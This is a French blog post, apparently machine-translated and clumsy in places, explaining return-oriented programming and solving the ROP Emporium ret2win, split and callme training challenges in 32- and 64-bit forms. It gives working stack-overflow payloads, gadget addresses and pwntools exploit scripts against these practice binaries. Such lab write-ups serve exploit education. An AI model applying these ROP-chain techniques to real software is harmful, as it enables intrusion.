Technologie d'attaque de mémoire ROP dans l'architecture x86 (1)

1 Introduction à ROP

La programmation orientée retour (Return-Oriented Programming, ROP) est une technologie d'attaque de mémoire avancée, principalement pour contourner les moyens de défense du système d'exploitation NX. Cette technologie utilise souvent certaines vulnérabilités existantes, en particulier les dépassements de tampon. Les attaquants contrôlent les appels de pile pour détourner le flux de contrôle des programmes et exécuter des séquences d'instructions de langage machine ciblées (gadgets). Ces combinaisons de gadgets peuvent exécuter avec succès nos propres Logique.

Nous modifions l'adresse de retour pour pointer vers l'instruction vers laquelle nous voulons pointer. Si cette instruction se termine par ret, alors sp + 4, à ce moment, l'espace suivant dans l'adresse de retour d'origine dans la pile devient l'adresse de retour ( retinstruction Équivalent à pop eip; esp = esp + 4), nous pouvons répéter ce processus sans arrêt, à condition que chaque instruction à pointer se termine par ret. (L'exécution de Ret fera sp + 4), de sorte que les gadgets peuvent être exécutés en continu.

Insérez la description de l'image ici
Il existe de nombreux types de gadgets, donc je ne les énumérerai pas un par un. Prenons un cas pratique pour analyser comment construire une chaîne ROP pour obtenir l'effet de l'exploitation de la vulnérabilité. Ce qui suit fournit un exemple utilisant le titre fourni par ROP Emporium. Si avant cela, vous pouvez avoir une bonne compréhension de la pile, des appels de fonction et des paramètres de passage, il est préférable. Si vous êtes confus dans le sujet, je pense que l'article que j'ai écrit avant peut aider: comprendre le registre ebp & esp, le processus d'appel de fonction, le transfert de paramètres de fonction et l'équilibre de la pile du point de vue de l'assemblage

2 ROP Emporium

ROP Emporium fournit 7 fichiers binaires avec une difficulté croissante et est divisé en 32 bits et 64 bits. Les failles de ces programmes sont les mêmes, elles sont toutes un simple débordement de pile, et les options de compilation sécurisée de tous les fichiers sont également les mêmes

Insérez la description de l'image ici
Puisque l'option de compilation sûre que la pile n'est pas exécutable a été activée, nous n'avons aucun moyen d'exécuter notre charge utile en écrivant le shellcode et en pointant directement l'adresse de retour vers le shellcode. La méthode la plus directe est ROP et laisse l'adresse de retour pointer vers l'instruction d'assemblage contenue à l'origine dans le programme. Bien que tous soient des débordements de pile, ces 7 binaires contiennent différents gadgets qui peuvent être utilisés, et la difficulté est également de peu profonde à profonde

Vulnérabilité

Dans la fonction pwnme, une variable est allouée. Cette variable est 0x28 = 40 octets à partir du bas de la pile, et la chaîne entrée par l'utilisateur est stockée dans cette variable. Par conséquent, une fois que l'entrée de l'utilisateur dépasse 40 octets, un débordement de pile se produit.
Insérez la description de l'image ici
Si vous vous sentez abstrait, à partir du code décompilé IDA, vous pouvez voir la logique du
Insérez la description de l'image ici
programme. Les failles de chaque programme sont trouvées. L'étape suivante consiste à examiner Dans chaque programme, quels sont les fragments de code binaire qui peuvent être utilisés, c'est-à-dire ce que nous appelons gadget, les enchaîner, vous pouvez obtenir des résultats inattendus.

2.1.1 ret2win32

Par shift + F12le moyen de trouver un mot - clé, combinée avec le code des citations, il est facile de trouver ret2win()la fonction, le code que vous souhaitez effectuer

Insérez la description de l'image ici
ret2win() Le code de démontage est le suivant, ce qui est également assez simple

Insérez la description de l'image ici
Par conséquent, les points d'adresse de retour 0x08048659, 0x08048672peuvent obtenir l'effet désiré

# 以下两条命令均可
python -c "print 'a'*44 + '\x59\x86\x04\x08'" | ./ret2win32
python -c "print 'a'*44 + '\x72\x86\x04\x08'" | ./ret2win32
# 使用 pwntools 脚本也是可以的,只不过这里比较简单,没必要还写个 python

Résultat de l'opération

Insérez la description de l'image ici

2.1.2 ret2win

Les programmes 64 bits sont différents des programmes 32 bits, qui utilisent des registres pour transmettre des paramètres au lieu de trouver les paramètres sur la pile via ebp. Bien sûr, il n'y a pas d'impact réel sur cette question. Mais dans ret2win, le décalage des variables locales qui peuvent déborder est différent de 32 bits

Insérez la description de l'image ici
La distance entre la variable entrée par l'utilisateur ici et rbp est 0x20 = 32 octets , donc lors de l'écriture du code d'exploit, vous devez remplir 32 + 8 octets de données inutiles (les principes des autres exploits et les gadgets disponibles et 32 ​​bits Cohérent)

python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
python -c "print 'a'*40 + '\x24\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win

Résultat de l'opération

Insérez la description de l'image ici

2.2.1 split32

La différence avec ret2win32 est que cette fois il n'y a pas de code d'exécution en une seule étape. Notre idée est de laisser pointer l'adresse de retour 0x08048657, mais en même temps de spécifier les paramètres de la fonction système. 0x0804A030Stocké les paramètres que nous voulons.

# data
.data:0804A030                 public usefulString
.data:0804A030 usefulString    db '/bin/cat flag.txt',0
# usefulFunction
.text:08048652                 push    offset command  ; "/bin/ls"
.text:08048657                 call    _system

Première méthode

Fonctionnement direct call _systemcommande, les paramètres de donjon immédiatement suivi, qui ne nécessite pas une pile équilibrée. Système tel que lors de l' appel du sous - programme, l'espace d'empilement de la boîte, les détails, on peut se référer apprécié ebp & registre esp, un appel de fonction, les paramètres de la fonction sont transmis à partir de l'assemblage et l'angle de l'équilibre de la pile

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048657 ——-—>  上一个函数执行 ret, sp + 4
|----------------|	 下一个函数执行 call, sp - 4,返回地址又压入原来的栈空间
|system 参数      push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|

Étant donné que le programme 32 bits trouve le paramètre formel en fonction du décalage d'ebp, et ici, l'appel direct call _system, ebp par rapport à la fonction précédente position ebp n'a pas changé, donc la position du paramètre n'a pas changé. Le code d'exploitation est le suivant

# python -c "print 'a'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault

Deuxième méthode

Trouvez l'emplacement du plt du système , l'adresse de retour déborde directement à cette adresse, puis passez les paramètres, mais dans ce cas, vous devez équilibrer la pile, pourquoi? Cela doit encore analyser les changements de pile pendant l'appel de fonction.

Ceci est l'entrée du système dans plt

.plt:08048430 ; int system(const char *command)
.plt:08048430 _system         proc near               ; CODE XREF: usefulFunction+E↓p
.plt:08048430
.plt:08048430 command         = dword ptr  4
.plt:08048430
.plt:08048430                 jmp     ds:off_804A018
.plt:08048430 _system         endp

Si l'adresse de retour du débordement est directement remplacée par le système correspondant en plt, l'espace de pile est le suivant

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048430 ——-—>  上一个函数执行 ret, sp + 4
|----------------|			xxx这一步不执行 - 不执行 call 指令,sp 也不会归位
|null   					system 中的 push ebp,此时 ebp 会跑到栈中 返回地址 的位置
|---------------|
|system 参数					ebp + 8 找到的参数位置

Par conséquent, après avoir renvoyé l'adresse, 4 autres octets doivent être remplis pour suivre les paramètres

python -c "print 'a'*44 + '\x30\x84\x04\x08' + 'a'*4 + '\x30\xa0\x04\x08'" | ./split32

Résultat de l'opération

Insérez la description de l'image ici

2.2.2 scission

Les programmes 64 bits utilisent des registres pour transmettre les paramètres. Le premier paramètre est stocké dans le registre rdi. À ce stade, des outils sont nécessaires pour trouver un code d'assemblage spécifique.

ROPgadget Est un excellent outil de recherche de gadgets, son utilisation est la suivante

$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x0000000000400883 : pop rdi ; ret

Ou plug-in utilisé gdb pedaqui vient avec ROPsearchla commande

gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400883 : (b'5fc3')	pop rdi; ret

La pile construite est la suivante

|----------------|
|rbp:aaaa aaaa    
|----------------|		
|返回地址:0x400883		ret		 # sp - 8	sp 指向 下一行
|----------------|		pop rdi  # sp - 8	将这一行的参数放进 rdi 寄存器中,参数构造成功
|system 参数 flag		ret		 # sp - 8
|----------------|
|要执行的函数地址,由于 64 位程序中,寻找参数不依赖堆栈,依靠寄存器,所以不需要平衡堆栈

Exploiter

# 同样的道理,既可以直接执行 call _system,也可以执行 plt 中的 _system,不过都不需要平衡堆栈了
python -c "print'a'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split

Résultat de l'opération

Insérez la description de l'image ici

2.3.1 callme32

Partant de cette question, c'est un peu plus difficile, principalement parce que le niveau logique du code devient plus compliqué. Les deux premières questions appartiennent à ret2textcette question. Cette question présente le fichier de bibliothèque écrit par moi-même. La chaîne ROP peut utiliser les instructions binaires du fichier .so, nous l'appelons doncret2lib

Insérez la description de l'image ici
Fonction usefulFunctionutilise trois fonctions _callme_one two three, et ces trois fonctions sont des symboles externes. Utilisez readelf ou objdump pour afficher les dépendances requises par le fichier binaire

root@kali:~/Documents/ROPEmpurium/callme32# readelf -dl callme32 | grep NEEDED
# objdump -p callme32 | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libcallme32.so]
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]

Ces trois fonctions sont des fonctions de bibliothèque non standard, il est inévitable dans le libcallme32.sofichier. Utilisez le démontage IDA pour voir le rôle des trois fonctions

callme_one Lire le contenu du drapeau crypté

Insérez la description de l'image ici
callme_twoCycle ou volonté, le décryptage, et il y a une variable globale g_bufdans

Insérez la description de l'image ici
callme_three Boucler ou continuer à déchiffrer et imprimer le résultat

Insérez la description de l'image ici
Par conséquent, la chaîne ROP finale doit exécuter trois fonctions en séquence, mais chaque fonction doit transmettre trois paramètres de 1, 2 et 3, afin que la fonction puisse aller à la bonne branche et imprimer l'indicateur. Ici et ne pas lancer directement usefulFunctionla fonction, vous ne pouvez trouver une place dans les trois fonctions de plt. Notez que nous avons déclaré dans split32 que la pile doit être équilibrée. Nécessité de mettre trois paramètres, ce qui correspond, mais nécessite également trois popinstructions à l' équilibre, sur la section de pile équilibrée ont dit

root@kali:~/Documents/ROPEmpurium/callme32# ROPgadget --binary callme32 --only 'pop|ret'
Gadgets information
============================================================
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048562 : ret
0x080486be : ret 0xeac1

Unique gadgets found: 7

0x080488a9 Pour répondre à nos besoins, le code d'utilisation final est donc le suivant

from pwn import *

sh = process("./callme32")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt = 0x080485C0
two_plt = 0x08048620
three_plt = 0x080485B0
pop_ret_gadget = 0x080488a9
args = p32(0x01) + p32(0x02) + p32(0x03)

payload = "a"*44
payload += p32(one_plt) + p32(pop_ret_gadget) + args
payload += p32(two_plt) + p32(pop_ret_gadget) + args
payload += p32(three_plt) + p32(pop_ret_gadget) + args

sh.sendline(payload)
sh.recv()

Résultat de l'opération

Insérez la description de l'image ici

2.3.2 callme

Les programmes 64 bits utilisent des registres pour transmettre les paramètres (les deux ou trois premiers paramètres correspondent à rdi rsi rdx), plutôt que la pile, qui était déjà mentionnée dans la section précédente. Si vous ne savez pas trop sur la participation de masse, bienvenue à comprendre ebp et enregistrer esp, un appel de fonction, le passage des paramètres de fonctionnement et l' équilibre de la pile du point de vue d'ensemble . Ici aussi, nous devons trouver pop rdi, pop rsi, pop rdx, afin de pouvoir passer des paramètres

# ROPgadget --binary callme --only 'pop|ret' | grep rdi
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret

Cette pile doit être soigneusement construite et est différente des programmes 32 bits

from pwn import *

sh = process("./callme")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt_addr = 0x0000000000401850
two_plt_addr = 0x0000000000401870
three_plt_addr = 0x0000000000401810
pop_args_gadget = 0x0000000000401ab0

args = p64(0x01) + p64(0x02) + p64(0x03)

payload = "a" * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)

sh.sendline(payload)
sh.recv()

Résultat de l'opération

Insérez la description de l'image ici

3 Résumé

Dans plusieurs cas pratiques, nous avons analysé comment utiliser la chaîne ROP pour atteindre l'objectif de contrôler le flux du programme. Dans cette échappatoire, ret2win et split appartiennent à ret2text, et l'adresse de retour pointe vers un morceau de code dans ce programme; callme appartient à ret2lib, ou ret2plt(ce nom n'est pas commun), l'adresse de retour pointe vers une fonction de la bibliothèque libc. Si vous insistez pour comprendre ces questions, les problèmes ultérieurs ne seront pas un problème.

A publié 52 articles originaux · J'aime 30 · Visites 50 000+

Je suppose que tu aimes

Origine blog.csdn.net/song_lee/article/details/105285418
conseillé
Classement